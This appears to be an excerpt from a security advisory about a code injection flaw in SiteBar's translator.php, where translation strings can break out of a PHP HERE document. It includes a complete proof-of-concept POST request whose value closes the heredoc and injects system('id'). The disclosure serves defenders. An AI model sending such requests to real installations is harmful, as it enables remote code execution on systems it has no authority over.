|
Whilst modifying strings within a translation, SiteBar makes no sanity checks on the value passed for a given string to be embedded within a HERE document within the languages strings library. It is therefore possible to terminate the HERE document and pass arbitrary code which will be executed whenever the languages strings library is included, for example:
POST http://192.168.1.1/translator.php?lang=test&edit=text HTTP/1.1
Host: 192.168.1.1
Referer: http://192.168.1.1/translator.php?lang=test&edit=text
Cookie: SB3COOKIE=1; SB3AUTH=3efab8d1dc9a149d7d1d7866a33d2539
Content-Type: application/x-www-form-urlencoded
Content-length: 47497
dir=&label%5B0%5D=The+Bookmark+Server+for+Personal+and+Team+Use&md5%5B0%5D=823084516ae27478ec4c5fd40fb32ea8&value%5B0%5D=_P;
system('id');
?>
Note that _P terminates the HERE document.
|
